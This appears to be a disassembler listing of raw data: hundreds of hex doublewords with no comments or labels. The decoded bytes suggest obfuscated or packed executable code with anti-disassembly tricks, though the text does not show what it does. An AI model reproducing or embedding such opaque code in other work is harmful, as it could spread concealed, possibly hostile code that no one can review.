dd 387EE4C3h, 11B3E881h, 0FE97498h, 0B8000000h, 584CE165h
dd 5F20010h, 0D53ACBFEh, 0F0817CE6h, 0FA592E0h, 0B5CD8060h
dd 0EE9h, 101CA300h, 79EBD824h, 98D3AF82h, 6133CC58h, 0BD8B0289h
dd 61F2C65h, 6E57EA81h, 9D297891h, 61F1221h, 6E53C281h
dd 0BD017891h, 61F2AC5h, 0F01EE83h, 1A85h, 0FABF0F00h
dd 26E9h, 313500h, 9227070Dh, 0B7266557h, 20C1EC32h, 8BCB8CE9h
dd 1F1B698Dh, 0FF65E906h, 8D4FFFFh, 1BC4FB6Bh, 8D9D74A4h
dd 2574998Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0E1C0BB7Eh, 9D71B0E1h, 2A699D8Bh
dd 9E8061Fh, 0BB000000h, 0A45D1E76h, 8F2D8406h, 75B922BEh
dd 8D895F41h, 61F0B5Dh, 20C585C7h, 71F8061Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 11B410C3h, 0F39844FCh, 0C717D881h, 85C71196h, 61F137Dh
dd 0
dd 19CDB52Bh, 0B5FF061Fh, 61F0749h, 2F65858Bh, 95FF061Fh
dd 61F2D59h, 6AD6B7h, 1D4595FFh, 0C08B061Fh, 85C90EEBh
dd 9A5C2534h, 60BDBF3Bh, 13C35A7Ch, 14E8h, 44134900h, 3D63BF41h
dd 0C6E5A46Ah, 387B05F1h, 0A067360Ah, 0F7B70F61h, 0EF81665Ah
dd 0C281EB82h, 6C6Ah, 3098BB66h, 0CA5CBCB9h, 44F18126h
dd 126CA46h, 1F24C185h, 6632FF06h, 8107E681h, 13E958h
dd 4D5A0000h, 23720762h, 385CA369h, 4D2208F5h, 0B2D835BAh
dd 0B0F08125h, 8B72D015h, 7AF081F0h, 0B7433433h, 23F08131h
dd 892F3B44h, 1F23B9B5h, 8B028906h, 1F308DB5h, 4EA8306h
dd 0F495B51h, 0FFFFB085h, 0D19D33FFh, 0E8061F16h, 9, 0B56EAFE7h
dd 0C5458B06h, 5EC68B81h, 0D860Fh, 89600000h, 1F1CCD95h
dd 270BBB06h, 81613F82h, 655BC6h, 0BFD78100h, 337CE64Dh
dd 5FF552D2h, 0F3234FFh, 8159C6BFh, 1A066FDBh, 0DEE98108h
dd 2901AF96h, 1F0A5985h, 3FF18106h, 6034932Ch, 20F58589h
dd 9589061Fh, 61F2405h, 0E8E98161h, 0F641F7Eh, 584h, 0C3816600h
dd 66517840h, 4685DB81h, 0E916048Fh, 12h, 4D43BB4Fh, 0E9879B1h
dd 59F0A8E5h, 7F551C4h, 0EA83D71Fh, 29958902h, 4A061F03h
dd 7D8D894Ah, 81061F0Eh, 0FF9B6CFAh, 0C850FFFh, 8B000000h
dd 19E9D8h, 61E60000h, 0E93F103Dh, 0FFFFFF74h, 0F0C809DDh
dd 171E7039h, 9E5D6819h, 0E8E25488h, 7, 9134D1B3h, 89FE2F2Eh
dd 1F0B2D9Dh, 8D315B06h, 61F1885h, 674BC381h, 0B6600000h
dd 73E9BB17h, 0BF614584h, 0
dd 0FFF08B66h, 830F1F34h, 6, 110D958Bh, 0E858061Fh, 0Eh
dd 0E9228C8Ah, 69C868BEh, 512467EAh, 0CE83A55h, 10000000h
dd 4C84F789h, 9269006Dh, 1343659h, 1F1EE1BDh, 815E5906h
dd 9D47E7C0h, 1AD28047h, 60EEF081h, 31516165h, 1F1DCD95h
dd 0E8815906h, 73D13073h, 175DB58Bh, 489061Fh, 2585893Bh
dd 0F061F02h, 0EF81D7B7h, 46BB1463h, 0F2F18166h, 5FC78141h
dd 8B46BB14h, 94FF81D7h, 0FFFFF99h, 1885h, 89ED8000h, 26E9h
dd 0D75DE00h, 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 0DABA663Bh
dd 0FF55E988h, 0F775FFFFh, 0E8BD1A0h, 56996B76h, 0E8C6C6A0h
dd 6, 0F11D5C36h, 665884B2h, 0C081F88Bh, 7171h, 4832CF81h
dd 2C686C39h, 0BF00001Ch, 5E9413BBh, 0D6BF0F59h, 0BE6630FFh
dd 895B3CF5h, 1F2E5195h, 9FEB8106h, 0E878A25Eh, 8, 0D90D2B9h
dd 98E5FE17h, 0AE9h, 6295400h, 12BF2A77h, 5FD81A10h, 398FF381h
dd 958B2D99h, 61F0DE5h, 482F381h, 53F92565h, 8FF08Bh, 9C34BF66h
dd 0BFB3E881h, 0C0815B44h, 5B44BFAFh, 6599509h, 0E983061Fh
dd 24850F01h, 0E9000000h, 0Bh, 0D08C8001h, 1419FBCEh, 0E98264EAh
dd 25h, 2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh, 594695FBh
dd 0FFFF6BE9h, 0AD340DFFh, 40F4E831h, 993B2CDEh, 34AC4286h
dd 7C2406A2h, 0B37D7AA2h, 2F17833Bh, 0B42A2180h, 30259083h
dd 3025C46Fh, 3D98A786h, 30230DAAh, 305A8D89h, 8DA68486h
dd 363A4D43h, 42A12E86h, 0F6259086h, 2F056D03h, 0CC4D6A80h
dd 0B1DB2302h, 63992DB2h, 85DAD2F5h, 363A6E8Bh, 49B6A40Bh
dd 0E0DA96A4h, 0B5E3B80Dh, 363A04A3h, 0BA3C7AC8h, 4A4A8C1h
dd 3578DDA2h, 0F590BD8Fh, 0BD233E89h, 125C0303h, 0BBF5B780h
dd 30359D7Eh, 38CC1286h, 96250986h, 302B0189h, 3B6C4286h
dd 0C0A02E4Fh, 0D9DA6F79h, 3025488Bh, 7D95B90Bh, 359D1499h
dd 0CF250986h, 0F1980965h, 0BD2367F1h, 155D5E0Bh, 15372880h
dd 0FF0ECEB6h, 34AC4247h, 7C2406A2h, 0B37D7AA2h, 2F17833Bh
dd 0B42A2180h, 30259083h, 3025C46Fh, 8398A786h, 0A4F305E9h
dd 22B9h, 588D8D00h, 6A062579h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 31BBC352h, 1F2C0995h
dd 5D8D8906h, 6A061F0Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 567FC356h, 204016FEh
dd 0DCEF8166h, 0C585C750h, 0A0061F20h, 81000064h, 37503EF7h
dd 7D85C71Dh, 61F13h, 56000000h, 45B5FF5Ah, 0F061F15h
dd 8Fh, 5995FF00h, 6A061F2Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0DF31C351h, 3969E907h
dd 19BD090Fh, 8A061F20h, 0FF006AE3h, 1F1D4595h, 0EBC08B06h
dd 416B5E5Fh, 0BC78AC94h, 90E9EC1Ah, 44A7F2FAh, 0F0E5A6E5h
dd 1181F75Ch, 0B13F7DA7h, 604CA9DBh, 51D39635h, 0B0F0492Ah
dd 14B7C8D6h, 0DA5A7D38h, 9EE942E0h, 3084ABFCh, 83DF0DE8h
dd 420D9DE9h, 22275794h, 6F953C02h, 0C45185D4h, 0E1152109h
dd 0A0C8599Ch, 6E32F938h, 9B9BC322h, 9E4E8A33h, 0E9D004EBh
dd 0F3E93487h, 7E000007h, 985CD32Eh, 0B77BF20Dh, 0D3970EF3h
dd 0EEB229D6h, 86D249B8h, 24DDC9CCh, 45CAE9ADh, 639E0ACEh
dd 807F28ECh, 1BC74009h, 19AE2843h, 592B9ED6h, 1FD3A184h
dd 7BF20D9Ah, 46622314h, 0A1623AE6h, 41F51FD3h, 0A078249Dh
dd 331FD3A1h, 0A262DB7Fh, 0B266F807h, 0CF7709F8h, 0E28E072Bh
dd 15F0BDDDh, 9044D68Ah, 0B074EB16h, 0C27608F7h, 4881AE5h
dd 7E56028Bh, 1125F2BDh, 17A95651h, 2CA7CB6Fh, 0C7386FB2h
dd 7800184Eh, 60745A98h, 0AF38C53Ch, 0AF4BC4EFh, 25F36CD7h
dd 5D35E16Ah, 0F025F36Ch, 0DE74983Ch, 974899Bh, 5732h
dd 6145BF00h, 4C5A0EA0h, 249F23B5h, 0C7DE9EBAh, 42641438h
dd 0DB9E48BFh, 0F2F094B8h, 38h, 0A061457Fh, 0A1996E0Eh
dd 4AF1FD3h, 0E1C5790Bh, 66648E20h, 9931126Eh, 9A44BF3Fh
dd 0E7F77293h, 0CF5B171h, 0F0ACD27Ah, 0A0E070DAh, 9016C6EAh
dd 1CCBFA71h, 54000000h, 17EABC7Ch, 926343F3h, 0B45CEE21h
dd 0CDE7E10h, 951FD3A2h, 5D49D806h, 0A2B62DA4h, 0DB870095h
dd 15F0BEE2h, 7D31C377h, 995DD42Dh, 0E15EF011h, 56449ABh
dd 0B6DA201Ah, 40ECD463h, 25F2B068h, 2AA347FBh, 0FB75D7Eh
dd 0BC4E021Ch, 0EE33AB2Ah, 0ACE45BCh, 2FCF61A0h, 2C11B687h
dd 4ADC2583h, 5EF00F96h, 0DF4E901Fh, 5AC717A2h, 0C33AB150h
dd 9CFF94A2h, 8D26E663h, 45FB5E82h, 7E3A9D62h, 8D8231F1h
dd 0CC2F53FBh, 94B06A5Fh, 53C3F3h, 7A3A0000h, 4EB1D52Ch
dd 9CFF94A2h, 6F47F37Ch, 21FD3A1h, 5B12A4Eh, 1FD3A22Dh
dd 734BF780h, 0C61FD3A2h, 0D3A2421Ah, 0E821D51Fh, 23D71034h
dd 7C097CC0h, 0A16F47F3h, 4E021FD3h, 83D6F728h, 0C3E79509h
dd 0F16A9713h, 64887931h, 0DA0F7601h, 33h, 7D94A263h, 3CF22770h
dd 6139E5E6h, 0F41FD2FAh, 95F89C40h, 0A1F8D07Ch, 5BD1FD3h
dd 7C097CA2h, 8214EBBCh, 0A406B6DAh, 0F976FA5Dh, 0FD8F7039h
dd 45CE3155h, 9B249D62h, 0D3A217EFh, 0D2F6AA1Fh, 241EA040h
dd 55521FD6h, 456418AAh, 8F1E28BAh, 49D8DE4Fh, 0A503C395h
dd 807AC5Ch, 0FAAACE76h, 0A3D952ADh, 0C1BE5430h, 8C0327B5h
dd 9123DEC8h, 0AF525414h, 0A151751Dh, 0C383FC05h, 7B639CE3h
dd 953757FFh, 873BCDF1h, 9D51E32Ch, 2667F916h, 6AEA439Bh
dd 7432EFEFh, 2B340CB8h, 13C71FD8h, 0B4EF86Fh, 0A20F6FCAh
dd 2Fh, 9D62452Fh, 0E83B40Bh, 0B300E995h, 753515F0h, 74ADD13Eh
dd 97242EC0h, 0B28A620Eh, 691D25F2h, 0F8EC7A43h, 32749D5h
dd 0DCCB5688h, 4535AC23h, 8E0B9D62h, 0F1436958h, 0DB546B88h
dd 0D377572Fh, 1236EA1Fh, 9C1578BFh, 0F07B43F0h, 950CC015h
dd 0FF94A21Eh, 1FE2C686h, 2FD0D98Dh, 0A151F59Dh, 0BF67F906h
dd 467C389Bh, 891D50D3h, 1D5B5278h, 26A33559h, 135757F0h
dd 0A7CB09CDh, 0EABC7C44h, 6443F317h, 0BC7C389Bh, 77EE12EDh
dd 0EEBC7C00h, 0B5D98113h, 94B02A1Fh, 2883F3h, 3AFA0000h
dd 0C6F936Eh, 9CFF94A2h, 0A1F8D07Ch, 0D78B1FD3h, 45097C74h
dd 7C399C65h, 8618F7BCh, 0D43BBADEh, 27DAh, 94A26300h
dd 0D07C9CFFh, 1FD3A1F8h, 0CC8C05BDh, 738E1CE7h, 39539E1h
dd 7CD4375Bh, 9C654509h, 0EDBC7C39h, 86FEE12h, 0B9D6245h
dd 0D623E96Bh, 7A3AC71Fh, 36B1D52Ch, 0C52E79A8h, 0E7DE9EE1h
dd 841E665Ah, 3C33CE0h, 39E55EA3h, 1FD84161h, 0A51C40F4h
dd 0C33CC5E1h, 4B1ECF8Dh, 0A050D550h, 0C068FA05h, 50560A9Ch
dd 3AF38B1h, 1FD7F82Bh, 54E60ABEh, 988955D0h, 42BFE70Eh
dd 3C7D279Eh, 0D10F6F15h, 43h, 0ECBC7C5Eh, 62DB8315h, 0D3A1DEB6h
dd 99BD711Fh, 0AF41BEE9h, 31AADF58h, 9B731FA8h, 0B71FD3A1h
dd 0D57D0FF0h, 28C4E89Ch, 15F0BA9Fh, 0C4CE6014h, 0EFAFA935h
dd 752549B6h, 0E1D44B32h, 26A3A852h, 45940B82h, 0B40B9D62h
dd 0C950E83h, 0D3A18860h, 43671B1Fh, 91851ECAh, 661A15F0h
dd 94A278EFh, 0AC5086FFh, 4375ACADh, 481EF6A2h, 0FDB11FD3h
dd 1FEA959h, 0E6637ADDh, 3735B3B0h, 0F81C0ADCh, 9D624595h
dd 7C077E3Ah, 60B39446h, 0E80C53EEh, 94E37752h
dd 43B6F3h, 0A2430000h, 0FD86FF94h, 0D3A17951h, 0EB14951Fh
dd 4278B159h, 0C2DDA111h, 1A3EE29Dh, 0F8D07CB7h, 4B1FD3A1h
dd 0A13E16C2h, 1DD11FD3h, 0A90CC0F9h, 0BC7C097Ch, 0D98113EEh
dd 5CA505B5h, 0DA0F76F9h, 29h, 0FF94A263h, 0F8D07C9Ch
dd 0BD1FD3A1h, 97CA205h, 0A1D2467Ch, 2F5A09A6h, 0B24F5B0Bh
dd 70F9764Fh, 0D3A1ECC4h, 0A7CB7F1Fh, 91624544h, 0AE56E819h
dd 3BFB780Ah, 0CCE79778h, 1831F43h, 0DF1FD624h, 14938E50h
dd 0F5B272EBh, 0ACD0780Ah, 0C9367135h, 3257E037h, 3B540DB9h
dd 35E915F5h, 0FCA831BEh, 25F73C24h, 7CDF03B7h, 86FF94A2h
dd 0A17951FDh, 11951FD3h, 7DB65EF0h, 6342A5C9h, 9D6245FCh
dd 31F17E3Ah, 5688C75h, 94B06A5Fh, 41C3F3h, 7C500000h
dd 0A16F47F3h, 16C21FD3h, 1FD3A13Eh, 30E41DD1h, 0C7DB90Ch
dd 0F8D07CA9h, 8B1FD3A1h, 29D55ED7h, 1FD3A151h, 0A90C30E4h
dd 6545097Ch, 0F76399Ch, 4DDAh, 81174D00h, 9EA015B7h, 0A22D90B4h
dd 7C9CFF94h, 8F8033F3h, 0A1926A16h, 71251FD3h, 0A1D9B14Dh
dd 0E69E1FD3h, 45097C83h, 923EC765h, 1FD3A1BAh, 25FD994Dh
dd 0B81FD3A2h, 7CFD6004h, 0B71CC346h, 0FDAA5DA6h, 0F7AE5E02h
dd 0AACE7608h, 467CC42Bh, 1E337447h, 0AD5452B2h, 7235E509h
dd 0D95BFB8Dh, 0D1FD5A9h, 21D56798h, 66EA7C85h, 343AF3EBh
dd 0BFE839A5h, 0D91C740h, 0CB98DE4h, 5C2097BBh, 0CB22B44Bh
dd 4B0296Ch, 15F544E3h, 0E65DD488h, 9CFF94A2h, 6245FC63h
dd 47EB1491h, 7C077EE4h, 0A16F47F3h, 0AB151FD3h, 0A82E27B3h
dd 3D61154Eh, 94BFA2A7h, 3B0BF3h, 0A2980000h, 7C9CFF94h
dd 0D3A1F8D0h, 85558B1Fh, 0F9249535h, 1859C2B6h, 8F7441F2h
dd 0F37C88EBh, 63897633h, 9CC5FBA9h, 59BCE008h, 399C6545h
dd 12EDBC7Ch, 0DA086FEEh, 1Dh, 0FF94A263h, 1FE2C686h, 5EC1E58Dh
dd 0A1F8D07Ch, 5BD1FD3h, 45097CA2h, 76399C65h, 9D62450Fh
dd 0E83B40Bh, 0BE58E995h, 0DD9D15F0h, 807F2ACBh, 7EA246EEh
dd 8D1A9145h, 786FE257h, 84A82A52h, 0A830631h, 96E9C181h
dd 0EE66C9D2h, 44680C1Ah, 16409AA8h, 881DDD1Ch, 193DE577h
dd 0E69A2CE0h, 3C73EC1h, 29C95BA4h, 0D6BAA79Eh, 7C2804A4h
dd 5EBAE7A4h, 4DDF8337h, 61F30C99h, 9516C857h, 6A8BA90Fh
dd 0C0C66AECh, 3374AD31h, 169155CCh, 6A357E9h, 0E9C080F9h
dd 63DC8416h, 0BAF4DFB7h, 9ABE725Eh, 0E7F77608h, 0B35FE871h
dd 5EBAF4DBh, 461EBA6Eh, 0D95EBAF4h, 56510125h, 396E32A9h
dd 8214EBBAh, 3D49B4DAh, 0BAF34209h, 0CCDD9D16h, 5E7D0F33h
dd 8, 0E9BC7CE7h, 3DA4F216h, 89A6745h, 1AAC5354h, 2DBF4266h
dd 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h
dd 0A234CBDAh, 0E3895386h, 4C381h, 0BD550000h, 4, 875DEB29h
dd 685C241Ch, 6ECh, 68240C89h, 464Eh, 50241489h, 752F9068h
dd 57B95863h, 29699AA9h, 16858C1h, 89000002h, 4832424h
dd 685A0424h, 7DA0h, 8F240C89h, 34FF0842h, 0C4835A24h
dd 240C8B04h, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch
dd 0FFF9FBCEh, 0B307D3Eh, 45B80FEEh, 3062581h, 44E0FFC5h
dd 1F5A2D88h, 0A67B89Ah, 636E533Ch, 0DE003774h, 0AD227A5Ch
dd 834F51BEh, 0B77B83A3h, 0E91A0C55h, 39176D17h, 0E873AF6Dh
dd 14h, 7F04421Dh, 0F0EAE857h, 53385A2Bh, 0D39EB622h, 917F6E99h
dd 8159FB8Bh, 7570C1h, 0D08B6600h, 0D2E4FEBBh, 3AC3811Bh
dd 0FE42D38h, 138Dh, 0EE900h, 69340000h, 1BACC55Eh, 0E4E7D30Ch
dd 76FDCA9Bh, 0BF66018Bh, 0E8818C42h, 68E2EA64h, 6CD6BF66h
dd 4CA9F081h, 850F6083h, 0
aBsSS db 'èÇSØ',7,'é',7,0
db 2 dup(0), 1Fh
dd 0BA9D0498h, 1899CE5h, 3870Fh, 8B660000h, 1E983FAh, 78F78166h
dd 4949492Bh, 0F01EB83h, 0FFFFB385h, 0F2BF0FFFh, 10E8h
dd 0FF28EC00h, 9E8770B8h, 16E28D32h, 5167D5Ch, 12B6601Ah
dd 0E9F88B60h, 7, 0CE757984h, 61862546h, 6E85A61h, 62000000h
dd 5BC68FA3h, 14E950D7h, 2C000000h, 4B79C2DAh, 86A6648Eh
dd 3C862D4h, 334E99F3h, 5ECBB14Fh, 66C2815Bh, 6800006Eh
dd 0
dd 5636BF66h, 21F38159h, 8B2CAC25h, 0C0810A04h, 727FBCBBh
dd 81F8B70Fh, 8926ACF0h, 5E826h, 0FE0B0000h, 0F4F6371h
dd 815FD8B7h, 0DA8C31E8h, 0E7816045h, 13ED1F52h, 8961CE8Bh
dd 0B70F0A04h, 0E981F8DEh, 179D7CB4h, 0B0C181FCh, 81179D7Ch
dd 0FF927CF9h, 1B850FFFh, 0F000000h, 2CE9F8BFh, 16000000h
dd 8C5F2C0h, 0E2B5E292h, 5088BA2Eh, 4AF562BBh, 81668379h
dd 0E958AFCBh, 0FFFFFF8Bh, 7A4B55B8h, 5EB4972Ch, 25F2E02Ah
dd 8D6AA08Ah, 2584678Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 316D3ADh, 810DCF21h, 0DA27FAD6h
dd 5D8D8943h, 6A061F0Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0F52FC352h, 4414C3F5h
dd 325AE5F0h, 58D2960h, 29061F2Ch, 1F08DD9Dh, 85C76106h
dd 61F20C5h, 5FB8h, 6850Fh, 0F0810000h, 5862740Dh, 137D85C7h
dd 61Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 5FE636C3h, 89BB75D4h, 1F1C0D9Dh
dd 0BE906h, 602B0000h, 6A591EDAh, 6206DA78h, 49B5FF52h
dd 66061F07h, 983FD681h, 2D5995FFh, 6A061Fh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0EE4B19C3h
dd 411CC24Fh, 95FF006Ah, 61F1D45h, 0EEBC08Bh, 0F573D509h
dd 7F17D451h, 0D3F585C0h, 8D8D92BEh, 625851Eh, 0E8C0Fh
dd 89600000h, 1F066D85h, 810F06h, 61000000h, 0B5D8D89h
dd 8BF8061Fh, 1F1B45B5h, 0C585C706h, 0F0061F20h, 6A000072h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0E05CC353h, 85C7D8F4h, 61F137Dh, 0
dd 0B5FFF88Bh, 61F3025h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 43C35545h, 21AB4772h, 5EA79C27h, 95FFC68Bh
dd 61F2D59h, 0AE9h, 0F5A03B00h, 98BF7080h, 6A0793A4h, 4595FF00h
dd 8B061F1Dh, 0FC6DEBC0h, 37BC435Ch, 0D5BFE32Bh, 7A12949h
dd 0A1FF670Bh, 994D9BFDh, 0CF7BE250h, 0D7522CC7h, 24E14DF3h
dd 0F53EAD5Bh, 15168D3Eh, 2C6585B0h, 0A4489668h, 0C921F5C3h
dd 0FB5152CEh, 0DB57E85Ah, 6142A8C7h, 0C3240901h, 2D0E5075h
dd 0AFE64641h, 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h
dd 6FEAA1C2h, 0B4CB2093h, 1C4FE862h, 99255B1Ch, 86418D8Dh
dd 9AB80625h, 89018A09h, 1F0B5D8Dh, 0BF0F6006h, 859589CEh
dd 61061F05h, 20C585C7h, 6124061Fh, 8C0F0000h, 0
dd 137D85C7h, 61Fh, 4CBF0000h, 667183C4h, 0FFEC3DBEh, 1F105DB5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0C431B1F5h, 11E998E9h, 13000000h, 5EE187D9h
dd 60F89E4Dh, 768901E1h, 8FBDDC0Ch, 4AF1EE81h, 95FF692Eh
dd 61F2D59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 3DC35040h, 5A1A1A5Ah, 6AFCF1h, 1D4595FFh, 0C08B061Fh
dd 46431BEBh, 0FC70800h, 1FA2DD8Dh, 0E7669CD8h, 95E409C1h
dd 2337C447h, 6B17901Ch, 5E8A8h, 5FAE0000h, 8BCE15ACh
dd 1F2FED95h, 9505B06h, 1F087D95h, 0C3815906h, 6A61h, 30419589h
dd 0C02B061Fh, 810Fh, 34FF0000h, 5F29B618h, 81CA8B66h
dd 0CE3968EFh, 81EB8A70h, 0AE1362EFh, 0F28B6643h, 8B94C781h
dd 0E8601605h, 11h, 0D2EB9BB3h, 0F4B5A4BAh, 0BC3F925Fh
dd 9D54A913h, 89615E4Ah, 2AB9033Ch, 60223229h, 0F20FB866h
dd 0FE9h, 0F4DFA800h, 0DF8C1DB9h, 387D76C8h, 9A0B1CACh
dd 4E88361h, 26E2E9B9h, 5CF8813Ch, 0FFFFF96h, 1085h, 69858900h
dd 0E9061F2Fh, 1Fh, 0E6E88350h, 9D8589A9h, 0E9061F16h
dd 0FFFFFF76h, 19D1BE30h, 67FCFA12h, 0B614C5D6h, 8D96C448h
dd 2587888Dh, 0CE906h, 78E20000h, 0C5FDD3E2h, 304A1289h
dd 8D8948FEh, 61F0B5Dh, 6850Fh, 85310000h, 61F1FF5h, 20C585C7h
dd 6078061Fh, 0D38B0000h, 137D85C7h, 61Fh, 85890000h, 61F31C9h
dd 2D01B5FFh, 0BD89061Fh, 61F08E5h, 2D5995FFh, 0BF0F061Fh
dd 0FF006AC0h, 1F1D4595h, 0EBC08B06h, 0F16E74Fh, 6FFEC162h
dd 0C541CA27h, 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h
dd 5BF1E435h, 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h
dd 6C4E0841h, 676130F3h, 0F0683665h, 0D3D6DD99h, 86183391h
dd 0E75F6FE6h, 3D706EF0h, 5D372EA9h, 88CB8D8Dh, 6A0625h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 0FF28ECC3h, 898770B8h, 1F0B5D8Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 389DA2BBh
dd 0B400C14Ch, 0C585C7C4h, 0F0061F20h, 6A000058h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 0A30FC350h, 637402AAh, 0C7D38B66h, 1F137D85h, 6, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0F04DD021h, 419D8B74h, 0FF061F02h, 1F0749B5h, 658D0906h
dd 0FF061F2Dh, 1F2D5995h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D4E958EBh
dd 858BB5AFh, 61F1ED1h, 95FF006Ah, 61F1D45h, 0EEBC08Bh
dd 7ECD87F5h, 0E71B250Dh, 8AE3083Ch, 85C65F9Eh, 61F2025h
dd 30DF6856h, 0B5FFA9C5h, 61F3271h, 7993858Dh, 0D0FF0622h
dd 5FD8D8Dh, 6A51061Fh, 25B5FF40h, 0FF061F19h, 1F2E4DB5h
dd 0FFD0FF06h, 1F1925B5h, 4DB5FF06h, 0E8061F2Eh, 0Dh, 0F0D00E5Dh
dd 8A406011h, 96CF647Dh, 835A5AB5h, 2CC104EAh, 24C10224h
dd 14030224h, 241CF724h, 0BBh, 1A048B00h, 105EF081h, 0F0815DDEh
dd 7C9128BBh, 0EA60C081h, 489622Dh, 0ECEB811Ah, 81587772h
dd 7772E8C3h, 241C3B58h, 0FFD3850Fh, 9D8DFFFFh, 61F1945h
dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E9C98B18h
dd 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h
dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h
dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h
dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh
dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h
dd 94E7A601h, 7883323Dh, 0E957DF65h, 13AAh, 258C2568h
dd 0F338E906h, 3E68FFF9h, 0E906258Dh, 0FFF9F32Eh, 258E0768h
dd 0F324E906h, 7768FFF9h, 0E906258Fh, 0FFF9F31Ah, 25900C68h
dd 0F310E906h, 0C668FFF9h, 0E9062590h, 0FFF9F306h, 25917768h
dd 0F2FCE906h, 2868FFF9h, 0E9062592h, 0FFF9F2F2h, 2592D668h
dd 0F2E8E906h, 6068FFF9h, 0E9062594h, 0FFF9F2DEh, 25958C68h
dd 0F2D4E906h, 2C68FFF9h, 0E9062597h, 0FFF9F2CAh, 2598ED68h
dd 0F2C0E906h, 0D368FFF9h, 0E906259Ah, 0FFF9F2B6h, 259B9C68h
dd 0F2ACE906h, 3D6FFFF9h, 1C894DC4h, 2A86CE3h, 0E5C488FFh
dd 0C7DFA31Ah, 0BD77C33Ah, 9C13EEB8h, 0BD34DBD8h, 0DB52AFF9h
dd 0F86F9017h, 320AB62Fh, 0C519AE17h, 62451A8Dh, 50570B9Dh
dd 0EBAB38AFh, 0EDC571BBh, 801FD3A1h, 0E29628CCh, 4AC3ED1h
dd 4EE93C60h, 116C23Bh, 4E15F0A9h, 0A74119C5h, 20D425F2h
dd 7D0FC3FCh, 0F2A809DDh, 0EEF06F25h, 74420C4Dh, 34A109h
dd 0A22E0000h, 0FE870095h, 76136C3Eh, 95AE04B0h, 0E884A84Ch
dd 15F06C43h, 0AAA3CF0h, 25F2AC36h, 475F1F9Ch, 61A00ABAh
dd 1F1CC23Dh, 974495Ah, 0FD73h, 62450000h, 0CE8E0B9Dh
dd 56062AE5h, 7838B150h, 943CCE31h, 7D2ADE70h, 6B3CF082h
dd 5F0B1F88h, 1FD3A187h, 30C2661Ah, 33CED888h, 9B68188Fh
dd 0D81FD3A5h, 0F09C9018h, 1FD3A618h, 0C153F7ABh, 6245F519h
dd 0A5441CC8h, 0A1D71FD3h, 0CADB975Fh, 0A246EA56h, 0BF40672Bh
dd 2C61D62Dh, 5B8E07B3h, 6F2315F1h, 0E3A691F8h, 0AC58E16Ah
dd 25F35AD4h, 0B003B367h, 679F3B5Fh, 0FA1C14CBh, 9844CD46h
dd 2C150AC0h, 27B9F53h, 249D6442h, 2ABC4364h, 23E75E82h
dd 9751FC83h, 0C908C311h, 6E69BE25h, 861CFA66h, 112667h
dd 758C2000h, 946B3AFEh, 0B051591Dh, 0CB347539h, 0EB169054h
dd 676E2874h, 874BC23Fh, 0A86CE32Ch, 0C68A0100h, 0DEA71EE1h
dd 15E1B965h, 3C7419AEh, 0A06145C9h, 0EA406727h, 0D3A1663Eh
dd 0A145F91Fh, 42EE670Fh, 1FD3A16Ah, 0AE2549FDh, 6F36BDEAh
dd 0B256FE90h, 467CC43Bh, 0A5FC5278h, 1C974773h, 95B961F3h
dd 27A0F542h, 0C41689Eh, 5B0F81F9h, 52F69B37h, 0EFA315F0h
dd 8620E05Dh, 0C841E97Bh, 0F292441Ch, 0FF23D725h, 0F2928F63h
dd 6876F525h, 75B386D3h, 0BE2709h, 7CB40000h, 8517EABCh
dd 9F9D835Bh, 84286100h, 8F7B060h, 1DE4C276h, 574E0E8Bh
dd 4A6E16A8h, 0D34CE1AEh, 3FC0E71Fh, 5CA304C8h, 0D1C473CAh
dd 5D33AC58h, 0C88815F0h, 0C6FF23DEh, 850E9B12h, 0F25D01D9h
